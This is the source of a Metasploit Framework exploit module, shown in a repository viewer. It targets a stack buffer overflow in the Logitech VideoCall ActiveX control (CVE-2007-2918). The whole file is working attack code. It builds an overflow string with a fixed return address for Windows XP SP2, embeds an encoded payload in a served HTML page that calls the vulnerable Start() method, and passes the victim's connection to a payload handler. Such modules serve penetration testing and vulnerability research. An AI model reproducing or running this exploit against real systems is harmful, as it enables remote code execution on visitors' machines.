root / modules / exploits / windows / browser / logitechvideocall_start.rb @ master
History | View | Annotate | Download (2.4 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = NormalRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Logitech VideoCall ActiveX Control Buffer Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a stack buffer overflow in the Logitech VideoCall ActiveX |
| 24 |
Control (wcamxmp.dll 2.0.3470.448). By sending a overly long string to the |
| 25 |
"Start()" method, an attacker may be able to execute arbitrary code. |
| 26 |
},
|
| 27 |
'License' => MSF_LICENSE, |
| 28 |
'Author' => [ 'MC' ], |
| 29 |
'Version' => '$Revision$', |
| 30 |
'References' =>
|
| 31 |
[ |
| 32 |
[ 'CVE', '2007-2918' ], |
| 33 |
[ 'OSVDB', '36820'], |
| 34 |
[ 'BID', '24254' ], |
| 35 |
], |
| 36 |
'DefaultOptions' =>
|
| 37 |
{
|
| 38 |
'EXITFUNC' => 'process', |
| 39 |
}, |
| 40 |
'Payload' =>
|
| 41 |
{
|
| 42 |
'Space' => 800, |
| 43 |
'BadChars' => "\x00\x09\x0a\x0d'\\", |
| 44 |
'StackAdjustment' => -3500, |
| 45 |
}, |
| 46 |
'Platform' => 'win', |
| 47 |
'Targets' =>
|
| 48 |
[ |
| 49 |
[ 'Windows XP Pro SP2 English', { 'Offset' => 120, 'Ret' => 0x7c941eed } ], |
| 50 |
], |
| 51 |
'DisclosureDate' => 'May 31 2007', |
| 52 |
'DefaultTarget' => 0)) |
| 53 |
end
|
| 54 |
|
| 55 |
def autofilter |
| 56 |
false
|
| 57 |
end
|
| 58 |
|
| 59 |
def check_dependencies |
| 60 |
use_zlib |
| 61 |
end
|
| 62 |
|
| 63 |
def on_request_uri(cli, request) |
| 64 |
# Re-generate the payload
|
| 65 |
return if ((p = regenerate_payload(cli)) == nil) |
| 66 |
|
| 67 |
# Randomize some things
|
| 68 |
vname = rand_text_alpha(rand(100) + 1) |
| 69 |
strname = rand_text_alpha(rand(100) + 1) |
| 70 |
|
| 71 |
# Set the exploit buffer
|
| 72 |
sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded |
| 73 |
|
| 74 |
# Build out the message
|
| 75 |
content = %Q|
|
| 76 |
<html> |
| 77 |
<object classid='clsid:BF4C7B03-F381-4544-9A33-CB6DAD2A87CD' id='#{vname}'></object> |
| 78 |
<script language='javascript'> |
| 79 |
var #{vname} = document.getElementById('#{vname}'); |
| 80 |
var #{strname} = new String('#{sploit}'); |
| 81 |
#{vname}.Start(#{vname}, #{vname}, #{strname}); |
| 82 |
</script> |
| 83 |
</html> |
| 84 |
|
|
| 85 |
|
| 86 |
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
| 87 |
|
| 88 |
# Transmit the response to the client
|
| 89 |
send_response_html(cli, content) |
| 90 |
|
| 91 |
# Handle the payload
|
| 92 |
handler(cli) |
| 93 |
end
|
| 94 |
|
| 95 |
end
|